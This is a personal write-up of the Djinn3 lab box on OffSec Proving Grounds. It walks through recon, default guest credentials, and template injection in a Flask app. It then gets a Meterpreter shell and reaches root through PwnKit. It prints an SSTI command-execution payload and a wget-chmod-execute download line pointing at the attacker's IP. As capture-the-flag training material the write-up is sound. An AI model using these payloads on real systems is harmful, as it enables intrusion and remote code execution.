Djinn3 Pentest Writeup - OffSec Proving Grounds

1. Box Overview

title

I recently tackled Djinn3 on OffSec Proving Grounds, and it was a challenging but exciting experience. This Linux machine, marked as ‘hard,’ required capturing two flags—one as a low-privileged user and another as root. The journey involved exploiting a Server-Side Template Injection (SSTI) vulnerability in a Flask web app to gain a shell, followed by privilege escalation using the PwnKit exploit. It pushed my skills in enumeration, vulnerability research, and privilege escalation to the limit.

2. Resources Used

Here are the resources that supported me during this challenge:

3. My Approach to Solving Djinn3

Let’s break down the steps I took to conquer this box, from initial recon to capturing the flags.

Recon with Nmap

I started by running an Nmap scan to identify open ports and services on the target at 192.168.163.102. I used the command nmap -sV -T4 -p- --open. I prefer this setup for quick scans when I’m not concerned about detection—the -T4 speeds things up, -p- scans all ports, and --open filters for open ones to save time. The -sV flag is crucial for detecting service versions, which can hint at potential vulnerabilities.

The scan revealed three open ports: 80 (running Nginx), 5000 (a Flask web app), and 31337 (a custom service). Port 80 seemed like a typical web server, but ports 5000 and 31337 caught my attention as potential entry points for something more interesting.

Nmap scan results

Exploring the Web Services

I first visited the web server on port 80 by entering the target’s IP in my browser. It was just a basic homepage with no obvious functionality, so I moved on to port 5000. There, I found a ticketing software page displaying a couple of tickets with statuses and links for more details. The tickets were being pulled dynamically via URLs like /?id=*, which hinted at a possible injection point.

honeypot ticketing_page

To gather more intel, I started digging into the ticket content and noticed mentions of usernames. I created a users.txt file to compile all the names I found, thinking they might come in handy for brute-forcing or authentication later.

ticketing

Testing Port 31337 for Access

Before diving deeper into the web app, I decided to check out the service on port 31337. I first tried connecting with telnet, but got no response. Then I used nc 192.168.163.102 31337, and this time I got a prompt asking for a username and password. While reviewing the tickets, I’d noticed one mentioning that the guest profile was still enabled. So, I tested a few combos with guest as username and finally got to combo guest:guest and to my surprise, it worked! I was logged into the service on port 31337.

nc guest user

Identifying SSTI in the Ticketing System

Back on port 5000, I created a new ticket to see how the system handled input. First, I tested for XSS by submitting a basic script, and it executed perfectly, confirming the system was vulnerable to client-side attacks. That got me thinking about server-side vulnerabilities, so I tried a simple Server-Side Template Injection (SSTI) payload in the browser URL: {{ 2 + 2 }}. I referenced a guide on SSTI exploitation, which helped me understand how to test for this vulnerability.

fail

The URL test didn’t yield much, so I tried the same payload in the description field of a new ticket. This time, it worked—the output showed 4, confirming SSTI. I attempted various commands, but only mathematical operations succeeded initially. After some trial and error, I found a payload that allowed command execution: {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}. This executed the id command, confirming I could run Linux commands on the server.

cmd results

Struggling with Reverse Shells

With command execution confirmed, I wanted a proper shell. I tried a few Python and Bash reverse shells from a shell generator, but none connected to my Netcat listener. After some frustration, I turned to Metasploit and used the web_delivery module for Linux. It generated a command to download and execute a script: wget -qO f8KtIViN --no-check-certificate http://192.168.45.169:8087/2ydWs5e9; chmod +x f8KtIViN; ./f8KtIViN& disown.

reverse shell

I injected this into the SSTI template: {{request.application.__globals__.__builtins__.__import__('os').popen('wget -qO f8KtIViN --no-check-certificate http://192.168.45.169:8087/2ydWs5e9; chmod +x f8KtIViN; ./f8KtIViN& disown').read()}}. After setting up the Metasploit listener, I submitted the ticket, and a Meterpreter shell dropped as www-data. I was finally on the box!

meterpert1

Capturing the First Flag

As www-data, I started enumerating the system. I navigated to /var/www and found a file named local.txt. When I opened it with cat, I was excited to see it contained the first flag. One down, one to go!

local.txt

Privilege Escalation with LinPEAS and PwnKit

A coworker had been recommending LinPEAS for privilege escalation, so I decided to give it a try. I started a Python web server on my attacking machine with python3 -m http.server 8000 and transferred LinPEAS to the target using wget http://192.168.45.169:8000/linpeas.sh. I made it executable with chmod +x linpeas.sh and ran it.

transfer linpease.sh

LinPEAS highlighted several potential vulnerabilities, but the standout was the PwnKit exploit, which targets a flaw in pkexec. I opened Metasploit, searched for PwnKit with search pwnkit, and selected the exploit/linux/local/cve_2021_4034_pwnkit_lpe module, which was for x86_64. I set the payload to linux/x64/meterpreter/reverse_tcp, configured the options, and ran the post-exploit module. Within moments, I had a new Meterpreter session as root!

pwnkit_linpeas root

Securing the Root Flag

With root access, I navigated to /root and found the final flag in a file. I opened it with cat, and that was it—Djinn3 was complete! It felt incredibly rewarding to overcome the challenges and capture both flags.

5. Challenges Faced

I encountered several hurdles during this challenge:

6. Lessons Learned and Tips

Here’s what I took away from Djinn3:

7. Conclusion

Djinn3 was a tough but enriching challenge that tested my pentesting skills at every step. From identifying an SSTI vulnerability in the Flask app to gaining a shell with Metasploit’s web delivery module, and finally escalating to root with the PwnKit exploit, the journey was full of learning opportunities. The SSTI exploitation and privilege escalation phases were particularly rewarding, as they pushed me to think critically and adapt my approach. I’m excited to apply these lessons to future challenges!

8. Additional Notes